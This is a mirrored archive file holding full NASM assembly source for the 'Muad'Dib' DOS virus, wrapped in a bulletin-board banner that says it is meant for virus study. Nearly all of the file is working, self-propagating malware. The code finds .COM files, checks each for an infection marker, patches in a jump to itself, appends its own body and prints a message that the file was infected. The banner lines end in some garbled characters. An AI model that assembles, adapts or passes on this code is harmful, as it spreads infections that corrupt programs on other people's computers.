mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
214 lines
8.6 KiB
NASM
214 lines
8.6 KiB
NASM
;****************************************************************************;
|
||
; ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] [=- ;
|
||
; -=] For All Your H/P/A/V Files [=- ;
|
||
; -=] SysOp: Peter Venkman [=- ;
|
||
; -=] [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; ;
|
||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
; ;
|
||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
; Is. Keep This Code in Responsible Hands! ;
|
||
; ;
|
||
;****************************************************************************;
|
||
; MUAD'DIB VIRUS ;
|
||
;****************************************************************************;
|
||
ideal
|
||
model tiny
|
||
codeseg
|
||
org 100h
|
||
top: db 'CP'
|
||
db 058h,04bh
|
||
jmp near main
|
||
nop
|
||
nop
|
||
nop
|
||
mov dx,offset _warn
|
||
mov ah,9
|
||
int 21h
|
||
mov ax,04c00h
|
||
int 21h
|
||
|
||
_warn db 'Deze file was besmet met het Muad''dib Virus$'
|
||
|
||
main: push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push di
|
||
push si
|
||
push es
|
||
push ds
|
||
call dummy
|
||
dummy: pop bx
|
||
mov si,bx
|
||
add si,200h ; Address of data!
|
||
lea dx,[si+6]
|
||
mov ah,1ah
|
||
int 21h ; Set DTA
|
||
|
||
mov dx,si
|
||
mov cl,0ffh
|
||
mov ah,04eh
|
||
int 21h ; Findfirst
|
||
jc noluck ; Nah, error
|
||
checkit:jmp is_ill
|
||
fnext: lea dx,[si + 6]
|
||
mov ah,04fh
|
||
int 21h
|
||
jc noluck
|
||
jmp checkit
|
||
|
||
|
||
noluck:
|
||
mov ax,[word si + 6 + 44] ; Current
|
||
mov [word cs:100h], ax
|
||
mov ax,[word si + 6 + 44 + 2]
|
||
mov [word cs:102h], ax
|
||
mov ax,[word si + 6 + 44 + 4]
|
||
mov [word cs:104h], ax
|
||
mov ax,[word si + 6 + 44 + 6]
|
||
mov [word cs:106h], ax
|
||
pop ds
|
||
pop es
|
||
pop si
|
||
pop di
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
mov ax,100h ; Goor!
|
||
push ax ; Maar 't werkt wel!
|
||
ret
|
||
|
||
is_ill:
|
||
lea dx,[si + 36] ; Name of file
|
||
; mov ah,9
|
||
; int 21h ; For information...
|
||
mov ah,03dh ; Fopen
|
||
mov al,2 ; RW-access
|
||
int 21h
|
||
jc fnext ; !?@!? Couldn't open
|
||
push ax
|
||
|
||
pop bx ; Handle
|
||
push bx
|
||
mov ah,3fh ; Read
|
||
mov cx,8 ; 8 please
|
||
lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf)
|
||
int 21h
|
||
|
||
cmp [word si + 6 + 44 + 8], 05043h ; Zick yet?
|
||
je issick ; YEAH!
|
||
|
||
pop bx
|
||
push bx
|
||
mov ax,04200h ; Moef vijlpointer
|
||
xor cx,cx
|
||
xor dx,dx ; 0L
|
||
int 21h ; Move filepointer
|
||
|
||
mov ax,[si + 6 + 26] ; Fsize
|
||
sub ax,7
|
||
mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf)
|
||
|
||
pop bx ; Handle
|
||
push bx
|
||
mov ah,40h ; Write
|
||
mov cx,8 ; 8 please
|
||
lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf)
|
||
int 21h
|
||
|
||
pop bx ; Handle
|
||
push bx
|
||
mov ax,04202h ; Moef vijlpointer (einde)
|
||
xor cx,cx
|
||
xor dx,dx ; 0L
|
||
int 21h ; Move filepointer
|
||
|
||
call swap
|
||
|
||
pop bx ; Handle
|
||
push bx
|
||
mov ah,40h ; Write
|
||
mov cx,1000 ; ADJUST
|
||
lea dx,[si - 200h - 11] ; Offset buffer
|
||
int 21h ; Wreit
|
||
|
||
call swap
|
||
|
||
close: pop bx
|
||
mov ah,03eh
|
||
int 21h
|
||
jmp noluck ; Ready!
|
||
|
||
|
||
issick: pop bx
|
||
mov ah,03eh
|
||
int 21h
|
||
jmp fnext
|
||
|
||
swap:
|
||
mov ax,[word si + 6 + 44]
|
||
xchg [word si + 6 + 44 + 8], ax
|
||
mov [word si + 6 + 44], ax
|
||
mov ax,[word si + 6 + 44 + 2]
|
||
xchg [word si + 6 + 44 + 8 + 2], ax
|
||
mov [word si + 6 + 44 + 2], ax
|
||
mov ax,[word si + 6 + 44 + 4]
|
||
xchg [word si + 6 + 44 + 8 + 4], ax
|
||
mov [word si + 6 + 44 + 4], ax
|
||
mov ax,[word si + 6 + 44 + 6]
|
||
xchg [word si + 6 + 44 + 8 + 6], ax
|
||
mov [word si + 6 + 44 + 6], ax
|
||
ret
|
||
|
||
org dummy + 200h
|
||
db '*.COM',0
|
||
db 44 dup ('D')
|
||
db 8 dup (090h) ; Current buffer
|
||
db 8 dup ('C') ; Inf buffer
|
||
db 043h,050h,058h,04bh,0e9h
|
||
db 0,0,0,'$'
|
||
end top
|
||
|
||
;****************************************************************************;
|
||
; ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] [=- ;
|
||
; -=] For All Your H/P/A/V Files [=- ;
|
||
; -=] SysOp: Peter Venkman [=- ;
|
||
; -=] [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; ;
|
||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
; ;
|
||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
; Is. Keep This Code in Responsible Hands! ;
|
||
; ;
|
||
;****************************************************************************;
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
|